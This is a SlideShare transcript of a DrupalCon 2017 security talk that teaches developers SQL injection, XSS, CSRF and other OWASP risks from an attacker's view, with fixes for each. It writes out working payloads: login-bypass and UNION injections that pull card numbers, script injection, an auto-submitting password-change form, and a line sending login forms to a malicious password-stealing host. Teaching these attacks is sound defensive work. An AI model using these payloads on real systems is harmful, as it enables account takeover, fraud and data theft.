Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Hacking Your Way To Better Security - DrupalCon Baltimore 2017

1,115 views

Published on

This talk educates junior and mid-level developers on common security vulnerabilities, how they are exploited, and how to protect against them. We'll explore several of the OWASP Top 10 attack vectors like SQL injection, XSS, CSRF, and others. Each topic will be approached from the perspective of an attacker to see how these vulnerabilities are detected and exploited using several realistic examples. We'll then apply this knowledge to see how web applications can be secured against such vulnerabilities.

Published in: Software
  • Be the first to comment

  • Be the first to like this

Hacking Your Way To Better Security - DrupalCon Baltimore 2017

  1. 1. Hacking Your Way To Better Security @colinodell
  2. 2. Colin O’Dell Lead Web Developer at Unleashed Technologies Baltimore PHP co-organizer league/commonmark maintainer PHP 7 Migration Guide e-book author php[world] 2015 CtF winner @colinodell
  3. 3. Goals Explore several top security vulnerabilities from the perspective of an attacker. 1. Understand how to detect and exploit common vulnerabilities 2. Learn how to protect against those vulnerabilities @colinodell
  4. 4. Disclaimers 1.NEVER test systems that aren’t yours without explicit permission. 2.Examples in this talk are fictional, but the vulnerability behaviors shown are very real. @colinodell
  5. 5. OWASP Top 10
  6. 6. OWASP Top 10 Regular publication by The Open Web Application Security Project Highlights the 10 most-critical web application security risks @colinodell
  7. 7. SQL Injection Modifying SQL statements to: Spoof identity Tamper with data Disclose hidden information
  8. 8. SQL Injection Basics $value = $_REQUEST['value']; SELECT * FROM x WHERE y = '[MALICIOUS CODE HERE]' "; $sql = "SELECT * FROM x WHERE y = '$value' "; $database->query($sql);
  9. 9. Username Password Log In admin password
  10. 10. Username Password Log In admin password' Invalid username or password. Please double-check and try again.
  11. 11. Username Password Log In admin Unknown error.
  12. 12. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "password'" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = 'password''; $ $
  13. 13. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "password'" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = 'password''; $ $ ~~
  14. 14. Username Password Log In admin ' test Unknown error.
  15. 15. Username Password Log In admin Unknown error.
  16. 16. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' test" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = '' test'; $ $
  17. 17. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' test" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = '' test'; $ $ ~~~~~~~~
  18. 18. ~~~~~~~~ SELECT * FROM users WHERE username = 'admin' AND password = '' test'; SELECT * FROM users WHERE username = 'admin' AND password = ''; SELECT * FROM users WHERE username = 'admin' AND password = '' OR (something that is true); SELECT * FROM users WHERE username = 'admin' AND (true); SELECT * FROM users WHERE username = 'admin';
  19. 19. SELECT * FROM users WHERE username = 'admin' AND password = '' test '; ' test
  20. 20. SELECT * FROM users WHERE username = 'admin' AND password = '' test '; SELECT * FROM users WHERE username = 'admin' AND password = '' test '; ' test ~~~~~~~~~~~~~~~~~~~~
  21. 21. SELECT * FROM users WHERE username = 'admin' AND password = ' '; SELECT * FROM users WHERE username = 'admin' AND password = ' ';
  22. 22. SELECT * FROM users WHERE username = 'admin' AND password = '' '; SELECT * FROM users WHERE username = 'admin' AND password = '' '; ' ~~~~
  23. 23. SELECT * FROM users WHERE username = 'admin' AND password = '' ' '; SELECT * FROM users WHERE username = 'admin' AND password = '' ' '; ' ' ~~~~~~~~~~~~~~~~
  24. 24. SELECT * FROM users WHERE username = 'admin' AND password = '' OR ' '; SELECT * FROM users WHERE username = 'admin' AND password = '' OR ' '; ' OR '
  25. 25. SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1 ' '; SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1 ' '; ' OR '1 ' ~~~~
  26. 26. SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1' ' '; SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1' ' '; ' OR '1' ' ~~~~~~~~~
  27. 27. SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'=' '; SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'=' '; ' OR '1'='
  28. 28. SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'; SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'; ' OR '1'='1
  29. 29. Username Password Log In admin ' OR '1'='1 Unknown error.
  30. 30. Welcome Admin! Admin Menu: Give customer money Take money away Review credit card applications Close accounts
  31. 31. Blind SQL Injection
  32. 32. Blind SQL Injection Invalid username or password. Please double-check and try again. Unknown error. Valid query (empty result) Invalid query Welcome Admin! Valid query (with result) @colinodell
  33. 33. ' AND (SELECT id FROM user LIMIT 1) = ' Username Password admin Log In Real-Time MySQL View
  34. 34. ' AND (SELECT id FROM user LIMIT 1) = ' Username Password admin Unknown error. Log In Error LogQuery Log SELECT * FROM users WHERE username = 'admin' AND password = '' AND (SELECT id FROM user LIMIT 1) = '';
  35. 35. ' AND (SELECT id FROM user LIMIT 1) = ' Username Password admin Unknown error. Log In Query Log MySQL error: Unknown table 'user'. Error Log
  36. 36. ' AND (SELECT id FROM users LIMIT 1) = ' Username Password admin Unknown error. Log In Query Log MySQL error: Unknown table 'user'. Error Log
  37. 37. ' AND (SELECT id FROM users LIMIT 1) = ' Username Password admin Invalid username or password. Please double-check and try again. Log In
  38. 38. SQL Injection - Data Disclosure
  39. 39. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/123 SELECT * FROM books WHERE id = 123 $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => 'The Great Gatsby', 'author' => 'F. Scott Fitzgerald', 'price' => 9.75 } @colinodell
  40. 40. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 SELECT * FROM books WHERE id = 99999 $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { } @colinodell
  41. 41. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/????? SELECT * FROM books WHERE id = ????? $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 } @colinodell
  42. 42. SQL UNION Query Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 Column 1 Column 2 Column 3 Foo Bar 123 Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 Foo Bar 123 UNION @colinodell
  43. 43. SQL UNION Query Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 Column 1 Column 2 Column 3 (SELECT) 1 1 Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 (SELECT) 1 1 UNION @colinodell
  44. 44. SQL UNION Query Column 1 Column 2 Column 3 (empty) Column 1 Column 2 Column 3 (SELECT) 1 1 Column 1 Column 2 Column 3 (SELECT) 1 1 UNION @colinodell
  45. 45. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number FROM creditcards SELECT * FROM books WHERE id = ????? $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 } @colinodell
  46. 46. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = ????? $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 } @colinodell
  47. 47. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = 99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0 } @colinodell
  48. 48. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = 99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '4012-3456-7890-1234', 'author' => 1, 'price' => 1 } @colinodell
  49. 49. Protecting Against SQL Injection $value = $_REQUEST['value']; $sql = "SELECT * FROM x WHERE y = '$value' "; $database->query($sql);
  50. 50. Protecting Against SQL Injection Block input with special characters
  51. 51. Protecting Against SQL Injection Block input with special characters Escape user input $value = $_REQUEST['value']; $escaped = mysqli_real_escape_string($value); $sql = "SELECT * FROM x WHERE y = '$escaped' "; $database->query($sql); ' OR '1' = '1 ' OR '1' = '1 mysqli_real_escape_string() SELECT * FROM x WHERE y = '' OR '1' = '1'
  52. 52. Protecting Against SQL Injection Block input with special characters Escape user input $value = $_REQUEST['value']; $escaped = mysqli_real_escape_string($value); $sql = "SELECT * FROM x WHERE y = '$escaped' "; $database->query($sql); ' OR '1' = '1 ' OR '1' = '1 mysqli_real_escape_string() SELECT * FROM x WHERE y = '' OR '1' = '1'
  53. 53. Protecting Against SQL Injection Block input with special characters Escape user input Use prepared statements $mysqli = new mysqli("localhost", "user", "pass", "db"); $q = $mysqli->prepare("SELECT * FROM x WHERE y = '?' "); $q->bind_param(1, $_REQUEST['value']); $q->execute(); Native PHP: ● mysqli ● pdo_mysql Frameworks / Libraries: ● Doctrine ● Eloquent ● Zend_Db
  54. 54. Other Types of Injection NoSQL databases OS Commands LDAP Queries SMTP Headers @colinodell
  55. 55. XSS Cross-Site Scripting Injecting code into the webpage (for other users) • Execute malicious scripts • Hijack sessions • Install malware • Deface websites
  56. 56. XSS Attack Basics $value = $_POST['value']; $value = $rssFeed->first->title; $value = db_fetch('SELECT value FROM table'); <?php echo $value ?> Raw code/script is injected onto a page
  57. 57. XSS – Cross-Site Scripting Basics Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script> @colinodell
  58. 58. XSS – Cross-Site Scripting short.ly Paste a URL here Shorten @colinodell
  59. 59. XSS – Cross-Site Scripting short.ly http://www.colinodell.com Shorten @colinodell
  60. 60. XSS – Cross-Site Scripting short.ly http://www.colinodell.com Shorten Short URL: http://short.ly/b7fe9 Original URL: http://www.colinodell.com @colinodell
  61. 61. XSS – Cross-Site Scripting short.ly Please wait while we redirect you to http://www.colinodell.com @colinodell
  62. 62. XSS – Cross-Site Scripting short.ly <script>alert('hello world!');</script> Shorten @colinodell
  63. 63. XSS – Cross-Site Scripting short.ly <script>alert('hello world!');</script> Shorten Short URL: http://short.ly/3bs8a Original URL: hello world! OK X @colinodell
  64. 64. XSS – Cross-Site Scripting short.ly <script>alert('hello world!');</script> Shorten Short URL: http://short.ly/3bs8a Original URL: @colinodell
  65. 65. <p> Short URL: <a href="…">http://short.ly/3bs8a</a> </p> <p> Original URL: <a href="…"><script>alert('hello world!');</script></a> </p>
  66. 66. XSS – Cross-Site Scripting short.ly <iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ"> Shorten @colinodell
  67. 67. XSS – Cross-Site Scripting short.ly <iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ"> Shorten Short URL: http://short.ly/3bs8a Original URL: @colinodell
  68. 68. XSS – Cross-Site Scripting short.ly Please wait while we redirect you to @colinodell
  69. 69. XSS – Cross-Site Scripting document.getElementById('login-form').action = 'http://malicious-site.com/steal-passwords.php'; @colinodell
  70. 70. Protecting Against XSS Attacks $value = $_POST['value']; $value = db_fetch('SELECT value FROM table'); $value = $rssFeed->first->title; <?php echo $value ?>
  71. 71. Protecting Against XSS Attacks • Filter user input $value = strip_tags($_POST['value']); $value = strip_tags( db_fetch('SELECT value FROM table') ); $value = strip_tags($rssFeed->first->title); <?php echo $value ?>
  72. 72. Protecting Against XSS Attacks • Filter user input • Escape user input $value = htmlspecialchars($_POST['value']); $value = htmlspecialchars( db_fetch('SELECT value FROM table') ); $value = htmlspecialchars($rssFeed->first->title); <?php echo $value ?> <script> &lt;script&gt; htmlspecialchars()
  73. 73. Protecting Against XSS Attacks • Filter user input • Escape user input • Escape output $value = $_POST['value']; $value = db_fetch('SELECT value FROM table'); $value = $rssFeed->first->title; <?php echo htmlspecialchars($value) ?>
  74. 74. Protecting Against XSS Attacks • Filter user input • Escape user input • Escape output {{ some_variable }} {{ some_variable|raw }}
  75. 75. CSRF Cross-Site Request Forgery Execute unwanted actions on another site which user is logged in to. • Change password • Transfer funds • Anything the user can do
  76. 76. CSRF – Cross-Site Request Forgery Hi Facebook! I am colinodell and my password is *****. Welcome Colin! Here’s your news feed. Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. @colinodell
  77. 77. CSRF – Cross-Site Request Forgery Hi other website! Show me your homepage. Sure, here you go! Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script> @colinodell
  78. 78. CSRF – Cross-Site Request Forgery <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script> @colinodell
  79. 79. CSRF – Cross-Site Request Forgery <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script> Tell Facebook we want to change our password to hacked123 Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. @colinodell
  80. 80. CSRF – Cross-Site Request Forgery <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script> Hi Facebook! Please change my password to hacked123. Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. Done! @colinodell
  81. 81. CSRF – Cross-Site Request Forgery short.ly <img src="https://paypal.com/pay?email=me@evil.com&amt=9999"> Shorten @colinodell
  82. 82. CSRF – Cross-Site Request Forgery short.ly Please wait while we redirect you to X @colinodell
  83. 83. Protecting Against CSRF Attacks Only use POST requests?
  84. 84. Protecting Against CSRF Attacks Only use POST requests? NO! POST requests are vulnerable too Common Misconceptions: “<img> tags can only make GET requests” “If a user doesn’t click a form it won’t submit”
  85. 85. Protecting Against CSRF Attacks Only use POST requests? Use a secret cookie?
  86. 86. Protecting Against CSRF Attacks Only use POST requests? Use a secret cookie? NO! Cookies are sent on every request.
  87. 87. Protecting Against CSRF Attacks Only use POST requests? Use a secret cookie? Use random CSRF tokens YES! <input type="hidden" name="token" value="ao3i4yw90sae8rhsdrf"> 1. Generate a random string per user. 2. Store it in their session. 3. Add to form as hidden field. 4. Compare submitted value to session 1. Same token? Proceed. 2. Different/missing? Reject the request.
  88. 88. Insecure Direct Object References Access & manipulate objects you shouldn’t have access to
  89. 89. Insecure Direct Object References @colinodell
  90. 90. Insecure Direct Object References Beverly Cooper @colinodell
  91. 91. Insecure Direct Object References @colinodell
  92. 92. Insecure Direct Object References @colinodell
  93. 93. Insecure Direct Object References @colinodell
  94. 94. Insecure Direct Object References @colinodell
  95. 95. Protecting Against Insecure Direct Object References Check permission on data input • URL / route parameters • Form field inputs • Basically anything that’s an ID • If they don’t have permission, show a 403 (or 404) page
  96. 96. Protecting Against Insecure Direct Object References Check permission on data input Check permission on data output • Do they have permission to access this object? • Do they have permission to even know this exists? • This is not “security through obscurity”
  97. 97. Sensitive Data Exposure Security Misconfiguration Components with Known Vulnerabilities
  98. 98. http://www.example.com/CHANGELOG http://www.example.com/composer.lock http://www.example.com/.git/ http://www.example.com/.env http://www.example.com/robots.txt Sensitive Data Exposure @colinodell
  99. 99. Sensitive Data Exposure - CHANGELOG @colinodell
  100. 100. Sensitive Data Exposure – composer.lock @colinodell
  101. 101. Sensitive Data Exposure – composer.lock @colinodell
  102. 102. Sensitive Data Exposure – .git @colinodell
  103. 103. Sensitive Data Exposure – robots.txt @colinodell
  104. 104. Private information that is stored, transmitted, or backed-up in clear text (or with weak encryption) • Customer information • Credit card numbers • Credentials Sensitive Data Exposure @colinodell
  105. 105. Security Misconfiguration & Components with Known Vulnerabilities Default accounts enabled; weak passwords • admin / admin Security configuration • Does SSH grant root access? • Are weak encryption keys used? Out-of-date software • Old versions with known issues • Are the versions exposed? • Unused software running (DROWN attack) @colinodell
  106. 106. Components with Known Vulnerabilities @colinodell
  107. 107. Components with Known Vulnerabilities @colinodell
  108. 108. Components with Known Vulnerabilities @colinodell
  109. 109. Protecting Against Sensitive Data Exposure, Security Misconfiguration, and Components with Known Vulnerabilities Keep software up-to-date • Install critical updates immediately • Install other updates regularly
  110. 110. Protecting Against Sensitive Data Exposure, Security Misconfiguration, and Components with Known Vulnerabilities Keep software up-to-date Keep sensitive data out of web root • Files which provide version numbers • README, CHANGELOG, .git, composer.lock • Database credentials & API keys • Encryption keys
  111. 111. Protecting Against Sensitive Data Exposure, Security Misconfiguration, and Components with Known Vulnerabilities Keep software up-to-date Keep sensitive data out of web root Use strong encryption • Encrypt with a strong private key • Encrypt backups and data-in-transit • Use strong hashing techniques for passwords
  112. 112. Protecting Against Sensitive Data Exposure, Security Misconfiguration, and Components with Known Vulnerabilities Keep software up-to-date Keep sensitive data out of web root Use strong encryption Test your systems • Scan your systems with automated tools • Test critical components yourself • Automated tests • Manual tests
  113. 113. Next Steps Test your own applications for vulnerabilities Learn more about security & ethical hacking Enter security competitions (like CtF) Stay informed @colinodell
  114. 114. Questions?
  115. 115. THANK YOU! WHAT DID YOU THINK? Locate this session at the DrupalCon Baltimore website: http://baltimore2017.drupal.org/schedule Take the survey! https://www.surveymonkey.com/r/drupalco nbaltimore Colin O'Dell @colinodell

×